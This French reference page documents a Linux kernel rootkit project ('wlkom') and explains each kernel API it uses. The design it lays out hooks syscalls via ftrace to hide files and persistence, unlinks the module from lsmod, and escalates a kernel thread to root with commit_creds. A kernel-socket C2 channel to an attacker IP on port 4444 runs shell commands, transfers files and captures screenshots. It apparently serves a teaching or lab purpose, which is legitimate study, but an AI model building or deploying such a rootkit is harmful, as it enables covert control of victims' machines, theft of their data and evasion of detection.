Références techniques
Cette page est la page de référence du projet. Son but est simple: quand on lit le code ou une autre page et qu'un mot kernel bloque, on revient ici.
Le niveau attendu est: vous savez lire du C, vous connaissez les pointeurs, les buffers, les erreurs négatives et les appels de fonctions. Par contre, on ne suppose pas que vous avez déjà travaillé dans le noyau Linux.
Carte rapide
Le module est donc au milieu de plusieurs mondes:
- Il intercepte des appels venant de userland.
- Il lance parfois des commandes userland.
- Il parle au backend avec une socket kernel.
- Il modifie sa visibilité dans certaines structures du noyau.
Inventaire des notions kernel utilisées
Cette table sert de sommaire de survie. Si un mot apparaît dans le code et qu'il ne ressemble pas au C habituel vu en cours, il est probablement ici.
| Notion ou API | Où dans le code | À quoi ça sert dans le projet | Explication locale | Référence externe |
|---|---|---|---|---|
module_init, module_exit, MODULE_* | src/core/main.c | Déclarer le point d'entrée, la sortie et les métadonnées du module. | Module kernel | External Modules |
module_param_named | src/core/module_parameters.c | Lire attacker_ip, command_port et password au insmod. | Paramètres de module | External Modules |
Kbuild et vermagic | rootkit/Makefile, script victime | Compiler un .ko compatible avec le noyau chargé. | Kbuild et vermagic | Kbuild |
Symboles __x64_sys_* | src/hooks/ftrace_hooks.c | Cibler les vraies fonctions de syscalls x86_64. | Syscalls | syscalls(2) |
asmlinkage et pt_regs | include/wlkom_hooks.h, hooks | Lire les arguments dans les registres CPU. | pt_regs | Using ftrace |
ftrace_ops, FTRACE_OPS_FL_*, notrace | src/hooks/ftrace_hooks.c | Rediriger l'exécution vers les hooks. | ftrace | Using ftrace |
container_of, within_module, THIS_MODULE | src/hooks/ftrace_hooks.c | Retrouver la structure du hook et éviter la récursion. | Macros kernel utiles dans les hooks | Kernel API |
register_kprobe, kallsyms_lookup_name | src/core/symbols.c | Retrouver des adresses kernel au runtime. | Kprobes et symboles | Kprobes |
copy_from_user, copy_to_user, clear_user | hooks de lecture/listing | Copier proprement entre userland et kernel. | Mémoire userland et uaccess | Kernel API |
getdents, linux_dirent, d_reclen | src/hooks/dirent_* | Retirer des entrées de listings. | getdents, linux_dirent et d_reclen | getdents(2) |
fdget, fdput, struct file, d_path | hooks read/access/names | Passer d'un fd à un vrai fichier kernel puis à un chemin texte. | fdget, struct file et d_path | VFS |
user_path_at, path_put, AT_FDCWD, LOOKUP_FOLLOW | src/hooks/access_hooks.c | Résoudre des chemins, suivre les symlinks, gérer les chemins relatifs. | Résolution de chemins kernel | VFS |
kernel_read, filp_open, filp_close, loff_t | read filter et file reader | Lire des fichiers depuis le noyau. | Lecture de fichiers depuis le noyau | Filesystems API |
iovec et readv | src/hooks/read_filter.c | Copier une réponse dans plusieurs buffers userland. | readv et iovec | readv(2) |
MAP_ANONYMOUS et mmap | src/hooks/read_filter.c | Bloquer le mapping des fichiers protégés. | mmap | mmap(2) |
atomic_t | src/hooks/access_hooks.c | Activer un bypass interne sans booléen global fragile. | Bypass interne | Kernel API |
list_del_init, THIS_MODULE->list | src/core/main.c | Retirer le module de la liste vue par lsmod. | Masquage du module | Kernel API |
kthread_run, kthread_should_stop, kthread_stop, ssleep | src/network/connection.c | Garder le C2 dans un thread noyau séparé et l'arrêter proprement. | Kthreads | Driver basics |
prepare_kernel_cred, commit_creds | src/network/connection.c | Donner un contexte privilégié au thread réseau. | Credentials kernel | Credentials |
sock_create_kern, kernel_connect, kernel_sendmsg, kernel_recvmsg, kernel_sock_shutdown | src/network/* | Faire une connexion TCP depuis le noyau et débloquer la réception à l'arrêt. | Sockets kernel | Networking kAPI |
kvec, msghdr | src/network/socket_io.c | Décrire les buffers envoyés/reçus par la socket kernel. | kvec, msghdr et envoi partiel | Networking kAPI |
call_usermodehelper, UMH_WAIT_PROC | src/userland/helper_runner.c | Lancer /bin/sh -c depuis le module. | call_usermodehelper | kmod.h |
kmalloc, kzalloc, kvzalloc, vzalloc, GFP_KERNEL | presque tous les fichiers | Allouer de la mémoire côté noyau. | Allocations mémoire kernel | Memory Allocation Guide |
IS_ERR, PTR_ERR, erreurs négatives | plusieurs fichiers | Transporter une erreur dans un pointeur ou un retour négatif. | Pointeurs d'erreur et codes Linux | Kernel API |
pr_info, pr_err, pr_debug | plusieurs fichiers | Écrire dans les logs kernel visibles avec dmesg. | Logs kernel | Core API |
strnstr, min_t, ARRAY_SIZE | hooks et filtres | Utilitaires C kernel plus sûrs ou plus adaptés aux macros. | Petites macros utiles | Kernel API |
Les références externes sont là pour vérifier la source officielle ou aller plus loin. Pour comprendre le projet, la lecture locale doit suffire.
Module kernel
Un module kernel est un fichier .ko chargé dynamiquement dans le noyau. Il n'est pas un programme classique. Il partage l'espace mémoire du noyau, donc une mauvaise écriture peut planter la VM entière.
Dans le projet:
module_init -> wlkom_start_module
module_exit -> wlkom_stop_module
wlkom_start_module() fait:
- Vérifie que
passwordest présent. - Dérive la clé XOR depuis ce mot de passe.
- Installe les hooks
ftrace. - Crée
/opt/wlkom_data. - Démarre le thread réseau.
- Retire le module de la liste utilisée par
lsmod.
wlkom_stop_module() arrête le thread réseau, puis retire les hooks. En pratique, comme le module se masque, le retrait manuel est moins confortable qu'un module normal.
Les macros MODULE_LICENSE, MODULE_AUTHOR, MODULE_DESCRIPTION et MODULE_VERSION ne font pas tourner le rootkit directement. Elles ajoutent des métadonnées dans le .ko. MODULE_LICENSE("GPL") est important côté kernel: certains symboles ne sont accessibles qu'aux modules déclarés compatibles GPL.
Références:
Paramètres de module
Les paramètres sont déclarés avec module_param_named.
| Paramètre | Défaut | Permission | Rôle |
|---|---|---|---|
attacker_ip | 192.168.100.1 | 0444 | IP que le module contacte. |
command_port | 4444 | 0444 | Port TCP du listener. |
password | aucun | 0000 | Secret obligatoire, utilisé pour l'auth et la crypto. |
Permission 0000 pour password signifie: le paramètre existe, mais il n'est pas exposé en lecture simple dans /sys/module/wlkom/parameters/.
0444 signifie lecture seule pour tous dans sysfs. Ce n'est pas une permission C, c'est le même style de permissions octales que chmod. Donc attacker_ip et command_port peuvent être lus dans /sys/module/.../parameters/, tandis que password est volontairement moins visible.
Chargement type:
sudo insmod wlkom.ko attacker_ip=192.168.100.1 command_port=4444 password='secret'
Sans mot de passe, le module retourne -EINVAL et refuse de démarrer.
Kbuild et vermagic
Le module est compilé comme module externe avec Kbuild:
obj-m += wlkom.o
make -C /lib/modules/$(uname -r)/build M=$(CURDIR) modules
Le .ko contient une chaîne appelée vermagic. Elle encode notamment la version du noyau et certaines options de build.
Pourquoi c'est important? La victime charge un module compilé côté attaquant. Si l'attaquant n'est pas sur le même noyau, la victime peut répondre:
invalid module format
Vérification:
uname -r
modinfo -F vermagic wlkom.ko
Dans ce projet, les deux doivent commencer par:
5.15.0-171-generic
Référence:
Syscalls
Un syscall est la porte officielle entre un programme userland et le noyau.
Exemples:
cat fichier -> read()
ls dossier -> getdents64()
stat fichier -> statx() ou newfstatat()
open fichier -> openat()
wlkom intercepte des syscalls parce que beaucoup d'outils différents finissent par passer par les mêmes portes. Au lieu de modifier ls, cat, find, stat et les explorateurs un par un, le module agit plus bas.
Syscalls hookés:
| Syscall kernel | Rôle dans le projet |
|---|---|
__x64_sys_getdents64 | Filtrer les listings modernes. |
__x64_sys_getdents | Filtrer l'ancien format de listings. |
__x64_sys_read | Filtrer les lectures simples de persistance. |
__x64_sys_pread64 | Filtrer les lectures avec offset explicite. |
__x64_sys_readv | Filtrer les lectures dans plusieurs buffers. |
__x64_sys_mmap | Refuser le mapping direct de fichiers de persistance. |
__x64_sys_openat | Bloquer l'ouverture de chemins protégés. |
__x64_sys_openat2 | Bloquer la variante moderne de openat. |
__x64_sys_newfstatat | Bloquer la lecture de métadonnées. |
__x64_sys_statx | Bloquer la lecture moderne de métadonnées. |
__x64_sys_access | Bloquer les tests d'accès. |
__x64_sys_faccessat | Bloquer les tests d'accès avec dirfd. |
__x64_sys_readlinkat | Bloquer les symlinks vers zones protégées. |
__x64_sys_unlinkat | Bloquer la suppression directe. |
Références:
pt_regs
Les hooks ne reçoivent pas les arguments C classiques. Ils reçoivent un struct pt_regs, qui contient les registres CPU au moment de l'appel.
Sur x86_64:
| Registre | Sens général |
|---|---|
di | Premier argument. |
si | Deuxième argument. |
dx | Troisième argument. |
r10 | Quatrième argument pour les syscalls. |
r8 | Cinquième argument. |
ip | Instruction Pointer, adresse de la prochaine instruction. |
Exemple:
read(fd, buf, count)
fd -> registers->di
buf -> registers->si
count -> registers->dx
Le hook ftrace modifie aussi registers->ip pour rediriger l'exécution vers une fonction WLKOM.
À retenir: ce code dépend de l'ABI x86_64. Ce n'est pas portable tel quel sur ARM ou une autre architecture.
asmlinkage apparaît dans les prototypes des hooks. Dans un programme C normal, on ne le voit presque jamais. Dans le noyau, il sert à annoncer une convention d'appel particulière pour les fonctions liées aux syscalls. Ici, les hooks gardent la même forme que les fonctions ciblées: ils reçoivent un pt_regs, puis récupèrent eux-mêmes les arguments dans les registres.
Pourquoi ne pas faire un prototype plus confortable?
long hook_openat(int dfd, const char __user *filename, int flags, umode_t mode);
Parce que le hook est branché au niveau de la fonction kernel réelle. ftrace arrive avec l'état CPU, pas avec une jolie fonction C reconstruite pour nous. Le code doit donc respecter la forme attendue par le noyau.
ftrace
ftrace est une infrastructure de tracing du noyau. Elle sert normalement à observer l'exécution de fonctions kernel. Avec certains flags, elle peut aussi rediriger l'exécution.
Dans le projet, une entrée de hook contient:
symbol_name
hook_function
original_function
symbol_address
ftrace_ops
Installation:
- Résoudre
symbol_address. - Stocker cette adresse dans
wlkom_original_*. - Configurer
ftrace_ops.func. - Poser un filtre sur l'adresse avec
ftrace_set_filter_ip. - Enregistrer avec
register_ftrace_function.
Flags:
| Flag | Rôle |
|---|---|
FTRACE_OPS_FL_SAVE_REGS | Donne accès à pt_regs. |
FTRACE_OPS_FL_IPMODIFY | Autorise la modification de ip. |
FTRACE_OPS_FL_RECURSION_SAFE | Indique que le hook gère la récursion. |
Le thunk fait:
registers->ip = hook_function
Mais seulement si parent_ip ne vient pas déjà du module. Cette protection évite une boucle de hooks internes.
notrace est ajouté sur le thunk wlkom_ftrace_inter_func. Cela demande à ftrace de ne pas tracer cette fonction elle-même. Sans cette précaution, on risque de tracer le code qui sert justement à tracer, ce qui complique la récursion et peut finir très mal.
Références:
Macros kernel utiles dans les hooks
Quelques macros du code sont très kernel dans leur style.
| Macro ou fonction | Où | Explication simple |
|---|---|---|
container_of(ptr, type, member) | thunk ftrace | À partir de l'adresse d'un champ, retrouver l'adresse de la structure complète qui contient ce champ. Ici, on reçoit ops, puis on retrouve le struct wlkom_ftrace_hook autour. |
within_module(addr, THIS_MODULE) | thunk ftrace | Vérifie si une adresse appartient au code du module courant. Le projet l'utilise pour ne pas rediriger ses propres appels internes. |
THIS_MODULE | hooks et masquage | Pointeur kernel vers le module actuellement chargé, donc wlkom.ko pendant son exécution. |
ARRAY_SIZE(tableau) | installation/retrait hooks | Calcule le nombre d'éléments d'un tableau C connu à la compilation. Plus sûr qu'un nombre écrit à la main. |
min_t(type, a, b) | filtres de lecture | Prend le minimum en forçant le type. Utile dans le noyau parce que les tailles mélangent souvent size_t, ssize_t, loff_t, etc. |
Le plus étrange est souvent container_of. Exemple simplifié:
struct wlkom_ftrace_hook
├── symbol_name
├── hook_function
└── ops <--- ftrace nous donne l'adresse de ce champ
Avec seulement &ops, le module retrouve le début de la structure complète. C'est une technique très fréquente dans le noyau Linux, parce que beaucoup de sous-systèmes reçoivent un pointeur vers une petite structure embarquée dans une structure plus grande.
Kprobes et symboles
Un kprobe permet d'instrumenter une fonction kernel. Ici, il est surtout utilisé pour retrouver une adresse.
Le code essaye:
register_kprobe("kallsyms_lookup_name")
probe.addr -> adresse de kallsyms_lookup_name
unregister_kprobe()
Ensuite, kallsyms_lookup_name cherche les symboles __x64_sys_*.
Si ça ne marche pas, le code tente un kprobe directement sur le symbole demandé.
Important: le kprobe n'est pas gardé pour hooker les syscalls. Il sert à résoudre les adresses. Les hooks runtime sont faits par ftrace.
Référence:
Mémoire userland et uaccess
Quand un syscall reçoit un pointeur, ce pointeur appartient souvent au processus userland. Le noyau ne doit pas faire comme si c'était un pointeur kernel normal.
Mauvaise intuition:
/* Trop naïf dans le noyau */
buffer[0] = 'A';
Bonne approche:
copy_from_user -> importer depuis userland
copy_to_user -> renvoyer vers userland
clear_user -> nettoyer une zone userland
Dans le projet:
| Fonction | Usage |
|---|---|
copy_from_user | Copier les dirent userland vers un buffer kernel. |
copy_to_user | Renvoyer le buffer filtré. |
clear_user | Effacer la queue d'un buffer après suppression d'entrées. |
strncpy_from_user | Copier un chemin utilisateur dans un buffer kernel. |
Pourquoi cette prudence? Une adresse userland peut être invalide, paginée, modifiée par le processus ou inaccessible au moment où le noyau la lit.
Le suffixe __user dans certains prototypes sert d'avertissement. Par exemple:
const char __user *filename
Ça veut dire: "ce pointeur pointe vers de la mémoire userland". Le compilateur C ne va pas tout sécuriser tout seul, mais les outils et les lecteurs du code comprennent qu'il faut passer par les fonctions uaccess.
Conséquence pratique: quand le hook reçoit un chemin avec registers->si, il ne peut pas juste faire strcmp((char *)registers->si, "/tmp"). Il doit d'abord copier ce chemin côté kernel avec strncpy_from_user.
Référence:
getdents, linux_dirent et d_reclen
getdents ne renvoie pas une liste de chaînes propre. Il renvoie un buffer de records.
Chaque record contient:
d_reclen -> taille du record
d_name -> nom du fichier/dossier
Pour avancer:
entrée_suivante = entrée_actuelle + d_reclen
Pour cacher une entrée qui n'est pas première, le filtre agrandit le record précédent:
previous->d_reclen += current->d_reclen
Pour cacher la première entrée, il n'y a pas de précédent. Le code décale donc le reste avec memmove.
Deux formats existent:
struct linux_dirent64pourgetdents64struct wlkom_linux_direntdéfini dans le projet pour l'anciengetdents.
fdget, struct file et d_path
Un file descriptor userland est juste un entier:
3
4
5
Dans le noyau, il faut retrouver le vrai objet fichier:
fdget(fd)
fd_file(...)
fdput(...)
struct file contient notamment f_path, qui décrit l'emplacement du fichier. Pour obtenir un chemin texte lisible, le code utilise d_path().
Exemple:
fd -> struct file -> f_path -> d_path() -> "/opt/wlkom_data/.cmd.out"
Le projet s'en sert pour savoir si un fd pointe vers:
- le dossier caché
/opt/wlkom_data - un fichier de persistance
- un chemin à protéger.
fdget et fdput vont ensemble. fdget récupère une référence temporaire sur le fd courant. fdput rend cette référence. Oublier fdput, c'est garder une référence plus longtemps que prévu. Dans le noyau, ce genre de fuite finit vite en comportement bizarre.
d_path() écrit le chemin dans un buffer fourni par le module. Le code réserve souvent une page avec __get_free_page(GFP_KERNEL), puis libère avec free_page(). Une page fait généralement 4096 octets sur x86_64. C'est suffisant pour les chemins Linux classiques, et ça évite d'allouer un gros buffer permanent.
Références:
Résolution de chemins kernel
Les hooks par chemin ne se contentent pas du texte donné par le programme. Ils utilisent aussi la résolution VFS.
Les termes à connaître:
| Terme | Sens |
|---|---|
struct path | Objet kernel qui représente un chemin résolu. Il contient notamment un montage et un dentry. |
user_path_at(dfd, filename, flags, &path) | Résout un chemin userland en struct path. |
path_put(&path) | Rend la référence obtenue par user_path_at. |
AT_FDCWD | Valeur spéciale qui signifie: utiliser le dossier courant du processus. |
LOOKUP_FOLLOW | Demande à suivre les liens symboliques pendant la résolution. |
Pourquoi c'est nécessaire? Parce qu'un chemin peut mentir par simplification.
openat(fd_de_/opt/wlkom_data, ".cmd.out", O_RDONLY)
Le texte visible est seulement .cmd.out. Sans regarder dfd, le hook ne sait pas que le fichier est dans /opt/wlkom_data.
Autre exemple:
/tmp/lien -> /opt/wlkom_data/.cmd.out
cat /tmp/lien
Le chemin brut ne contient pas wlkom_data, mais le chemin résolu oui. C'est pour cela que le code teste aussi user_path_at(..., LOOKUP_FOLLOW, ...).
Hooks de lecture
Les hooks read, pread64 et readv construisent une vue filtrée du fichier.
Flux:
- Récupérer le fd avec
fdget. - Vérifier si le fichier est une cible de persistance.
- Si non, appeler le syscall original.
- Si oui, lire le fichier brut avec
kernel_read. - Retirer les lignes sensibles.
- Copier seulement la portion demandée vers userland.
Différences:
| Syscall | Position de lecture |
|---|---|
read | Utilise et avance file->f_pos. |
pread64 | Utilise un offset fourni, sans avancer file->f_pos. |
readv | Copie dans plusieurs buffers iovec, puis avance file->f_pos. |
Le filtre lit au maximum 256 KiB, car les fichiers ciblés sont de petits fichiers de configuration.
Lecture de fichiers depuis le noyau
Le module lit parfois un fichier lui-même, sans passer par un processus userland.
Les API utilisées:
| API | Rôle |
|---|---|
filp_open(path, flags, mode) | Ouvre un fichier depuis le noyau et renvoie un struct file *. |
IS_ERR(pointer) | Vérifie si le pointeur contient une erreur au lieu d'une vraie adresse. |
kernel_read(file, buffer, size, &pos) | Lit des octets depuis un struct file. |
filp_close(file, NULL) | Ferme le fichier ouvert avec filp_open. |
loff_t | Type utilisé pour les offsets de fichiers, plus large qu'un int. |
Exemple logique:
file = filp_open("/opt/wlkom_data/.cmd.out")
kernel_read(file, buffer, taille, &position)
filp_close(file)
Ce n'est pas équivalent à fopen côté libc. On est déjà dans le noyau, donc on manipule directement les objets VFS.
readv et iovec
readv lit dans plusieurs buffers en un seul syscall. Userland donne un tableau de struct iovec.
Forme simplifiée:
iovec[0] -> buffer A, taille A
iovec[1] -> buffer B, taille B
iovec[2] -> buffer C, taille C
Le hook doit donc:
- Copier chaque
iovecdepuis userland aveccopy_from_user. - Calculer la taille totale demandée.
- Construire la vue filtrée du fichier.
- Copier le résultat morceau par morceau avec
copy_to_user.
Le code limite le nombre d'entrées à WLKOM_READV_IOV_MAX, soit 1024. C'est une limite de prudence: un tableau iovec géant ferait perdre du temps au hook et compliquerait la gestion des erreurs partielles.
Référence:
mmap
mmap peut mapper un fichier directement en mémoire. Si on autorisait mmap sur /etc/modprobe.d/wlkom.conf, un programme pourrait lire la ligne brute sans appeler read.
Le hook mmap vérifie donc:
- le mapping n'est pas
MAP_ANONYMOUS - le fd est valide
- le fd correspond à un fichier de persistance.
Si oui:
return -EACCES
MAP_ANONYMOUS est important: un mapping anonyme ne correspond pas à un fichier. Il sert par exemple à demander de la mémoire au système. Le hook ne le bloque pas, parce qu'il ne peut pas révéler un fichier de persistance.
Référence:
Hooks d'accès par chemin
Les hooks d'accès protègent les chemins connus du projet:
/opt/wlkom_data
/sys/module/wlkom
segment "wlkom_data"
/lib/modules/.../wlkom.ko
Le code vérifie trois angles:
- Le chemin brut donné par userland.
- Le
dirfd, pour les chemins relatifs. - Le chemin résolu, pour suivre les symlinks.
Pourquoi les trois? Exemple:
openat(fd_de_/opt/wlkom_data, ".cmd.out", O_RDONLY)
Le chemin brut est seulement .cmd.out. Sans vérifier le dirfd, le hook ne verrait pas que l'accès part d'un dossier protégé.
Si le chemin est protégé, le hook retourne -EACCES sans appeler le syscall original.
Bypass interne
Le module a parfois besoin de toucher ses propres fichiers. Exemple: lire .cmd.out après une commande shell.
Pour ne pas se bloquer lui-même, il utilise:
atomic_t wlkom_bypass_access
Autour de call_usermodehelper, le module fait:
atomic_inc(&wlkom_bypass_access)
call_usermodehelper(...)
atomic_dec(&wlkom_bypass_access)
Pendant ce temps, les hooks d'accès laissent passer les opérations internes.
atomic_t évite d'utiliser un simple int global. Le thread réseau, les hooks et les helpers peuvent se croiser. Une incrémentation atomique garantit que le compteur ne se retrouve pas dans un état incohérent si deux chemins d'exécution le touchent presque en même temps.
Masquage du module
Linux garde une liste des modules chargés. lsmod et /proc/modules s'appuient sur cette vue.
Le module retire son entrée:
list_del_init(&THIS_MODULE->list)
Effet: lsmod ne montre plus wlkom.
Limite: ce n'est pas un effacement complet. Les logs dmesg, sysfs, des références internes ou une inspection offline peuvent encore donner des indices.
THIS_MODULE désigne le module courant. THIS_MODULE->list est le maillon de la liste chaînée globale des modules. list_del_init() retire ce maillon et le réinitialise pour éviter qu'il pointe encore vers ses anciens voisins.
Pourquoi ça marche pour lsmod? Parce que lsmod lit /proc/modules, et cette vue est construite depuis les structures kernel des modules chargés. Si le module retire son maillon de cette liste, il disparaît de ce chemin de lecture classique.
Kthreads
module_init ne doit pas rester bloqué. Il doit initialiser et rendre la main.
Le réseau tourne donc dans un thread noyau:
kthread_run(wlkom_network_thread, NULL, "wlkom_network")
La boucle vérifie:
kthread_should_stop()
et l'arrêt utilise:
kernel_sock_shutdown(socket_active, SHUT_RDWR)
kthread_stop(network_task)
kthread_stop() pose la demande d'arrêt et attend que le thread termine. Il ne ferme pas automatiquement les ressources sur lesquelles ce thread dort. Le module garde donc une référence à la socket active et la ferme au niveau TCP avant l'attente. Sans cela, un kernel_recvmsg() bloqué en attente d'une ligne distante pourrait empêcher module_exit de finir.
ssleep(10) et ssleep(5) sont des pauses en secondes côté noyau. Elles évitent que le thread tourne en boucle serrée si le backend n'est pas joignable. Dans un module, une boucle sans pause peut consommer du CPU et rendre le comportement très visible.
Référence:
Credentials kernel
Dans le thread réseau:
prepare_kernel_cred(NULL)
commit_creds(root_credentials)
L'idée est de donner au thread un contexte privilégié pour ses opérations internes et pour les helpers lancés ensuite.
Ce n'est pas une API applicative normale. C'est une primitive kernel sensible, dépendante de la version, de la configuration et des politiques de sécurité.
Référence:
Sockets kernel
Le module ouvre une connexion TCP depuis le noyau:
sock_create_kern
kernel_connect
kernel_sendmsg
kernel_recvmsg
kernel_sock_shutdown
sock_release
La cible par défaut:
192.168.100.1:4444
Pourquoi une socket kernel? Le module doit initier la connexion sans processus userland dédié. Le backend, lui, écoute avec une socket Python classique.
Les petits détails réseau:
| Élément | Sens |
|---|---|
init_net | Namespace réseau initial du système. Le module ne crée pas de namespace séparé. |
AF_INET | Famille IPv4. |
SOCK_STREAM | Socket TCP orientée flux. |
IPPROTO_TCP | Protocole TCP. |
htons(port) | Convertit le port vers l'ordre d'octets réseau. |
in_aton(ip) | Convertit une IPv4 texte en entier réseau. |
kernel_sock_shutdown(..., SHUT_RDWR) | Coupe lecture et écriture de la socket active pour réveiller les opérations bloquées avant l'arrêt du thread. |
Pourquoi htons? Les machines x86_64 stockent les entiers en little-endian, mais les protocoles réseau utilisent un ordre standard appelé network byte order. Sans conversion, le port peut être interprété à l'envers.
Référence:
kvec, msghdr et envoi partiel
Pour envoyer depuis le noyau, le code utilise:
struct kvec
struct msghdr
kernel_sendmsg
kvec ressemble à iovec, mais pour un buffer kernel. iovec décrit des buffers userland, kvec décrit des buffers déjà dans l'espace kernel.
kernel_sendmsg peut envoyer moins d'octets que demandé. Le module boucle donc jusqu'à ce que toute la r éponse soit transmise.
La réception lit une ligne chiffrée octet par octet jusqu'à \n. Si la ligne dépasse WLKOM_RX_SIZE - 1, le reste est consommé et le module répond COMMAND TOO LONG. Avant chaque lecture, le code vérifie aussi kthread_should_stop(). À l'arrêt du module, le shutdown de socket fait revenir kernel_recvmsg(), puis cette vérification permet à la boucle de sortir.
Protocole C2
Le protocole est orienté texte, mais chiffré sur le fil.
Début de session:
KOZACITEAM
Password:
Authenticated.
wlkom>
Après authentification, chaque ligne est routée:
| Commande | Traitement |
|---|---|
exit | Ferme la session. |
upload-begin <path> | Crée le parent et tronque le fichier. |
upload-append <base64> <path> | Décode et ajoute un chunk. |
download-chunk <offset> <length> <path> | Lit une plage du fichier. |
screenshot | Lance la capture écran. |
| autre texte | Exécute via /bin/sh -c. |
Les réponses contiennent:
sortie
[exit:N]
__KOZACI_RESPONSE_END_8F8F6A0E6D4A41C2__
Le prompt suivant est envoyé séparément avant la prochaine commande.
call_usermodehelper
call_usermodehelper permet au noyau de lancer un programme userland.
Dans le projet:
/bin/sh -c "<commande>"
UMH_WAIT_PROC
UMH_WAIT_PROC signifie que le module attend la fin du processus.
Pourquoi déléguer à userland?
/bin/shsait gérer pipes et redirections.base64,ddettarexistent déjà.- Les captures écran dépendent de la session graphique, donc de userland.
- Le code kernel reste plus court.
Référence:
argv et envp doivent être fournis explicitement. Le module ne bénéficie pas de l'environnement d'un terminal interactif. C'est pour cela que les commandes de screenshot reconstruisent un contexte graphique avec DISPLAY, WAYLAND_DISPLAY, XAUTHORITY et parfois DBUS_SESSION_BUS_ADDRESS.
Point important: call_usermodehelper lance un programme userland, mais il est demandé par le noyau. Donc les hooks d'accès du module peuvent voir les fichiers temporaires créés par cette commande. Le bypass atomique sert justement à éviter que le module bloque ses propres helpers.
Capture de commandes
Le module n'a pas un pipe direct comme subprocess en Python. Il écrit donc la sortie dans un fichier temporaire:
(<commande>) > /opt/wlkom_data/.cmd.out 2>&1; echo "[exit:$?]" >> /opt/wlkom_data/.cmd.out
Puis:
kernel_readrelit.cmd.out.- Le dernier marqueur
[exit:N]donne le code de sortie. - Le marqueur est retiré de la sortie visible.
.cmd.outest supprimé.
Le dernier marqueur est choisi parce qu'une commande utilisateur pourrait afficher elle-même [exit:.
Transferts chunkés
Le canal transporte des lignes texte. Les fichiers binaires passent donc par base64.
Upload:
upload-begin <path>
upload-append <base64> <path>
Download:
download-chunk <offset> <length> <path>
Limites principales:
| Constante | Valeur | Rôle |
|---|---|---|
WLKOM_RX_SIZE | 160 KiB | Taille maximale d'une ligne reçue. |
WLKOM_UPLOAD_BASE64_CHUNK_MAX | 120 KiB | Base64 maximal par append. |
WLKOM_USERMODE_SHELL_COMMAND_MAX | 128 KiB | Taille maximale de la commande shell usermode. |
WLKOM_TX_SIZE | 4 MiB | Buffer de réponse kernel. |
DOWNLOAD_CHUNK_BYTES côté backend | 256 KiB | Taille demandée par chunk de download. |
Le backend calcule la taille brute uploadable pour que la commande complète tienne dans ces limites.
Screenshot
La capture écran est déléguée à un script shell généré par le module.
Le script:
- Cherche une session graphique avec
loginctl. - Retrouve l'utilisateur, l'UID et le home.
- Essaie plusieurs variables
DISPLAY,WAYLAND_DISPLAYetXAUTHORITY. - Essaie
gnome-screenshot,scrot,import, puisxwd + convert. - Encode le PNG en base64.
Marqueurs:
__WLKOM_SCREEN_BEGIN__
__WLKOM_SCREEN_END__
Pourquoi c'est fragile? Une capture dépend de la session graphique, des permissions, de X11/Wayland et des outils installés. Le module est privilégié, mais il n'a pas automatiquement le bon contexte graphique.
FNV-1a et XOR
Le mot de passe est transformé en hash FNV-1a 64-bit:
hash = 0xcbf29ce484222325
pour chaque octet:
hash ^= octet
hash *= 0x100000001b3
Puis le hash remplit une clé de 16 octets:
key[i] = (hash >> ((i % 8) * 8)) & 0xff
Le chiffrement:
data[i] ^= key[(offset + i) % 16]
La même opération chiffre et déchiffre.
Deux offsets sont séparés:
- émission module vers backend
- réception module depuis backend.
Pourquoi? TCP est un flux. Les frontières des messages ne sont pas garanties.
Référence:
Allocations mémoire kernel
Dans le noyau, on n'utilise pas malloc.
| API | Usage |
|---|---|
kmalloc | Petit buffer non initialisé, physiquement contigu. |
kzalloc | Petit buffer initialisé à zéro. |
kfree | Libère kmalloc et kzalloc. |
vzalloc | Gros buffer virtuellement contigu. |
vfree | Libère vzalloc. |
__get_free_page | Page temporaire, par exemple pour d_path. |
free_page | Libère une page obtenue avec __get_free_page. |
kvzalloc | Essaie une allocation type kmalloc, puis peut basculer vers vmalloc. Le buffer est initialisé à zéro. |
kvfree | Libère une allocation obtenue par la famille kv*. |
GFP_KERNEL | Mode d'allocation normal pour du code kernel qui a le droit de dormir. |
__GFP_NOWARN | Demande d'éviter les gros warnings kernel si l'allocation échoue. |
Règle importante:
kmalloc/kzalloc -> kfree
vzalloc -> vfree
kvzalloc -> kvfree
__get_free_page -> free_page
Ne pas mélanger. Un pointeur alloué avec vzalloc ne se libère pas avec kfree.
Pourquoi vzalloc pour les gros buffers? Le noyau n'a pas besoin de trouver une grande zone physique contiguë. Pour le code C, le buffer reste utilisable comme un tableau.
Pourquoi GFP_KERNEL revient partout? C'est le mode courant pour une allocation faite dans un contexte où le noyau peut dormir. "Dormir" veut dire: le noyau peut mettre le thread en attente le temps de récupérer de la mémoire. Ce n'est pas autorisé dans tous les contextes kernel, mais les hooks du projet évitent les contextes d'interruption et utilisent surtout des chemins de syscalls.
Références:
Pointeurs d'erreur et codes Linux
Dans le noyau, certaines fonctions ne retournent pas seulement NULL en cas d'erreur. Elles peuvent retourner un pointeur spécial qui encode un code d'erreur.
Exemple du projet:
opened_file = filp_open(path, O_RDONLY, 0)
if (IS_ERR(opened_file))
...
IS_ERR(pointer) répond: "ce pointeur est-il en réalité une erreur?". PTR_ERR(pointer) récupère le code négatif contenu dedans.
Pourquoi ne pas juste utiliser NULL? Parce que NULL ne dit pas pourquoi ça a échoué. Un pointeur d'erreur peut transporter -ENOENT, -EACCES, -ENOMEM, etc.
Codes d'erreur Linux
Les fonctions kernel retournent souvent des erreurs négatives.
| Code | Sens dans le projet |
|---|---|
-EINVAL | Argument invalide ou commande mal formée. |
-ENOMEM | Allocation impossible. |
-ENOENT | Symbole kernel introuvable. |
-EPERM | Authentification refusée. |
-EACCES | Accès à un chemin protégé. |
-EFAULT | Copie userland impossible. |
-EMSGSIZE | Ligne entrante trop longue. |
-EFBIG | Chunk upload base64 trop gros. |
-E2BIG | Commande shell usermode trop grosse. |
-EOVERFLOW | getdents a produit plus que la taille attendue. |
Le routeur transforme ensuite beaucoup d'erreurs en texte lisible avec [exit:1].
Logs kernel
Le module écrit des messages avec:
| API | Niveau |
|---|---|
pr_info | Information normale. |
pr_err | Erreur. |
pr_debug | Debug, souvent silencieux selon la configuration. |
Ces messages se lisent avec:
dmesg
ou:
journalctl -k
À retenir: même si le module se retire de la liste vue par lsmod, les logs kernel peuvent garder des traces de chargement, d'erreur de hook ou de connexion.
Petites macros utiles
Ces utilitaires apparaissent dans le code et sont faciles à sous-estimer:
| API | Pourquoi elle est utilisée |
|---|---|
strnstr(text, pattern, len) | Cherche une sous-chaîne dans une zone bornée. Utile quand on travaille sur des lignes qui ne sont pas forcément terminées par \0. |
min_t(type, a, b) | Calcule un minimum en imposant le type, ce qui évite des warnings ou conversions dangereuses. |
